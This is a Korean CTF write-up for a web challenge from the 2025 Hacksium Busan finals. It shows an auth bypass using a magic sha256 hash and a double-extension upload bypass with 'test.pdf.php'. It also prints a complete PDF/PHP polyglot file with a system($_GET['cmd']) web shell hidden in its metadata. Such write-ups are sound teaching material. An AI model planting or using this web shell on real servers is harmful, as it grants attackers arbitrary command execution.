포스트

[2025 Hacksium Busan 본선] 해양 기상 보고 센터

[2025 Hacksium Busan 본선] 해양 기상 보고 센터

카테고리

Web

문제 분석 및 풀이

처음 접속하면 인증 코드를 입력해야 하는데, 웹 페이지의 주석을 보면 인증 코드의 sha256 해시 값이 적혀 있다.
이를 구글에 검색해보면 magic hash table에 등록되어 있는 값이므로, 이를 이용하면 인증 코드를 통과할 수 있다.

이후 pdf 파일을 업로드할 수 있는데, pdf 구조에 대한 검사와 확장자에 대한 검사가 수행된다.
하지만, 확장자에 대한 검사에 오류가 있어, “test.pdf.php”와 같은 파일을 업로드하면 확장자 검사가 “test.pdf”까지만 이루어지므로 검증을 통과하고 php 파일을 업로드할 수 있다.

php 구조에 대한 검사도 통과해야 하므로, pdf 구조를 만족하면서 php 웹쉘 기능을 하는 파일을 만들어 업로드하면 된다.
업로드에는 아래와 같은 파일을 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
%PDF-1.7
%âãÏÓ

1 0 obj
<< /Type /Page >>
endobj

2 0 obj
<<
  /Type /Catalog
  /Pages 1 0 R
  /OpenAction [2 0 R /FitH null]
  /PageLayout /OneColumn
  /Metadata <<
    /Title (<?php system($_GET['cmd']); ?>)
  >>
>>
endobj

xref
0 3
0000000000 65535 f
0000000018 00000 n
0000000063 00000 n

trailer
<<
  /Size 3
  /Root 2 0 R
>>
startxref
183
%%EOF
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.

"2025 Hacksium Busan" 카테고리의 게시물